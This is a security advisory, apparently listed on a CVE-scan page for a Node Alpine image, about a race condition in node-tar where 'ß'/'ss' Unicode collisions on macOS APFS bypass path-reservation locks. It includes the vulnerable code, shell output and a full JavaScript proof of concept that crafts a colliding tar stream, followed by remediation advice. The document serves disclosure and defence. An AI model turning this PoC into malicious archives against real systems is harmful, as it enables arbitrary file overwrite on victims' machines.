CVE-Scan für node:25.0.0-alpine

TITLE: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS

AUTHOR: Tomás Illuminati

Details

A race condition vulnerability exists in node-tar (v7.5.3) this is to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.

// node-tar/src/path-reservations.ts (Lines 53-62)
reserve(paths: string[], fn: Handler) {
    paths =
      isWindows ?
        ['win32 parallelization disabled']
      : paths.map(p => {
          return stripTrailingSlashes(
            join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS
          ).toLowerCase()
        })

In MacOS the join(normalizeUnicode(p)), FS confuses ß with ss, but this code does not. For example:

bash-3.2$ printf "CONTENT_SS\n" > collision_test_ss
bash-3.2$ ls
collision_test_ss
bash-3.2$ printf "CONTENT_ESSZETT\n" > collision_test_ß
bash-3.2$ ls -la
total 8
drwxr-xr-x   3 testuser  staff    96 Jan 19 01:25 .
drwxr-x---+ 82 testuser  staff  2624 Jan 19 01:25 ..
-rw-r--r--   1 testuser  staff    16 Jan 19 01:26 collision_test_ss
bash-3.2$ 

PoC

const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');

const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);

console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);

// Construct stream
const stream = new PassThrough();

const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);

// Key 1: "f_ss"
const header1 = new tar.Header({
    path: 'collision_ss',
    mode: 0o644,
    size: contentA.length,
});
header1.encode();

// Key 2: "f_ß"
const header2 = new tar.Header({
    path: 'collision_ß',
    mode: 0o644,
    size: contentB.length,
});
header2.encode();

// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding

stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding

// End
stream.write(Buffer.alloc(1024));
stream.end();

// Extract
const extract = new tar.Unpack({
    cwd: exploitDir,
    // Ensure jobs is high enough to allow parallel processing if locks fail
    jobs: 8 
});

stream.pipe(extract);

extract.on('end', () => {
    console.log('[*] Extraction complete');

    // Check what exists
    const files = fs.readdirSync(exploitDir);
    console.log('[*] Files in exploit dir:', files);
    files.forEach(f => {
        const p = path.join(exploitDir, f);
        const stat = fs.statSync(p);
        const content = fs.readFileSync(p, 'utf8');
        console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
    });

    if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
        console.log('\[*] GOOD');
    } else {
        console.log('[-] No collision');
    }
});

Impact

This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive.

Remediation

Update path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en').

Users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.